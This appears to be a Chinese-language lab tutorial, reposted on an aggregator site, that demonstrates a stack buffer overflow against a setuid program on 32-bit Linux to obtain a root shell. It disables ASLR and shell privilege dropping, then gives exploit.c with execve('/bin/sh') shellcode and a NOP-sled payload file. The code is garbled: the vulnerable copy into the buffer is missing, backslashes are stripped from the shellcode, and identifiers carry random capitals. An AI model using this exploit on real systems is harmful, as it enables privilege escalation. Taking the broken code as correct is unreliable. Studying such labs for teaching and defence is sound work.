缓冲区溢出漏洞实验

发布时间:2022-07-01 发布网站:脚本宝典
脚本宝典收集整理的这篇文章主要介绍了缓冲区溢出漏洞实验脚本宝典觉得挺不错的,现在分享给大家,也给大家做个参考。

一、了解缓冲区溢出及其原理

1、缓冲区溢出概念

缓冲区溢出是一种非常普遍、非常危险的漏洞,在各种操作系统、应用软件中广泛存在。利用缓冲区溢出攻击,可以导致程序运行失败、系统宕机、重新启动等后果。更为严重的是,可以利用它执行非授权指令,甚至可以取得系统特权,进而进行各种非法操作。 缓冲区溢出,是针对程序设计缺陷,向程序输入缓冲区写入使之溢出的内容(通常是超过缓冲区能保存的最大数据量的数据),从而破坏程序运行、趁著中断之际并获取程序乃至系统的控制权。

2、缓冲区溢出攻击及其原理

通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,造成程序崩溃或使程序转而执行其它指令,以达到攻击的目的。造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。 缓冲区溢出攻击之所以成为一种常见安全攻击手段其原因在于缓冲区溢出漏洞太普遍了,并且易于实现。而且,缓冲区溢出成为远程攻击的主要手段其原因在于缓冲区溢出漏洞给予了攻击者他所想要的一切:植入并且执行攻击代码。被植入的攻击代码以一定的权限运行有缓冲区溢出漏洞的程序,从而得到被攻击主机的控制权。

二、实验楼实现缓冲区溢出

1、实验准备 本实验需要32位环境下操作,输入命令下载必要的软件包

sudo apt-get update
sudo apt-get install -y lib32z1 libc6-dev-i386 lib32readline6-dev
sudo apt-get install -y python3.6-GDBm gdb

缓冲区溢出漏洞实验

2、初始设置 ubuntu 和其他一些 Linux 系统中,使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难,而猜测内存地址是缓冲区溢出攻击的关键。通过如下命令关闭地址空间随机化

sudo Sysctl -w kernel.randomize_va_space=0

缓冲区溢出漏洞实验

此外,为了进一步范缓冲区溢出攻击及其它利用 shell 程序的攻击,许多shell程序在被调用时自动放弃它们的特权。因此,即使你能欺骗一个 Set-UID 程序调用一个 shell,也不能在这个 shell 中保持 root 权限,这个防护措施在 /bin/bash 中实现

sudo su
cd /bin
rm sh
ln -s zsh sh
exIT

进入32位 Linux环境

3、漏洞程序 在 /tmp 目录下新建一个 stack.c 文件:

cd /tmp
vim stack.c


#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
char buffer[12];

return 1;
}

int main(int argc, char **argv)
{
char str[517];
FILE *baDFile;

badfile = foPEn("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);

PRintf("Returned Properlyn");
return 1;
}

通过代码可以知道,程序会读取一个名为“badfile”的文件,并将文件内容装入“buffer”。 编译该程序,并设置 SET-UID。命令如下:

sudo su
gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
chmod u+s stack
exit

GCC编译器有一种栈保护机制来阻止缓冲区溢出,所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。 而 -z execstack 用于允许执行栈。 -g 参数是为了使编译后得到的可执行文档能用 gdb 调试。

缓冲区溢出漏洞实验

4、攻击程序 实验目的是攻击刚才的漏洞程序,并通过攻击获得 root 权限。 在 /tmp 目录下新建一个 exploit.c 文件

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[] =
"x31xc0" //xorl %eax,%eax
"x50"     //pushl %eax
"x68""//sh" //pushl $0x68732f2f
"x68""/bin"     //pushl $0x6e69622f
"x89xe3" //movl %esp,%ebx
"x50"     //pushl %eax
"x53"     //pushl %ebx
"x89xe1" //movl %esp,%ecx
"x99"     //cdq
"xb0x0b" //movb $0x0b,%al
"xcdx80" //int $0x80
;

void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;

memset(&amp;buffer, 0x90, 517);
strcpy(buffer,"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x??x??x??x??");    
strcpy(buffer + 100, shellcode);  


badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}

现在要得到 shellcode 在内存中的地址,输入命令进入 gdb 调试

gdb stack
disass main

缓冲区溢出漏洞实验

esp 中就是 str 的起始地址,所以我们在地址 0x080484ee 处设置断点。

缓冲区溢出漏洞实验

根据语句 strcpy(buffer + 100,shellcode); 计算 shellcode 的地址为 0xffffCFb0 + 0x64 = 0xffffd014。本机地址为0xffffd4b0 + 0x64 = 0xFFFFD514‬

缓冲区溢出漏洞实验

现在修改 exploit.c 文件,将 x??x??x??x?? 修改为计算的结果 x14xd0xffxff,注意顺序是反的。

然后,编译 exploit.c 程序:

缓冲区溢出漏洞实验

5、攻击结果 先运行攻击程序 exploit,再运行漏洞程序 stack,观察结果:

缓冲区溢出漏洞实验

可见,通过攻击,获得了root 权限

三、缓冲区溢出练习

1、通过命令 sudo sysctl -w kernel.randomize_va_space=2 打开系统的地址空间随机化机制,重复用 exploit 程序攻击 stack 程序, 无法获得root权限.

缓冲区溢出漏洞实验

2、将/bin/sh重新指向/bin/bash,重复攻击,无法获得root权限

缓冲区溢出漏洞实验

脚本宝典总结

以上是脚本宝典为你收集整理的缓冲区溢出漏洞实验全部内容,希望文章能够帮你解决缓冲区溢出漏洞实验所遇到的问题。

如果觉得脚本宝典网站内容还不错,欢迎将脚本宝典推荐好友。

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
如您有任何意见或建议可联系处理。小编QQ:384754419,请注明来意。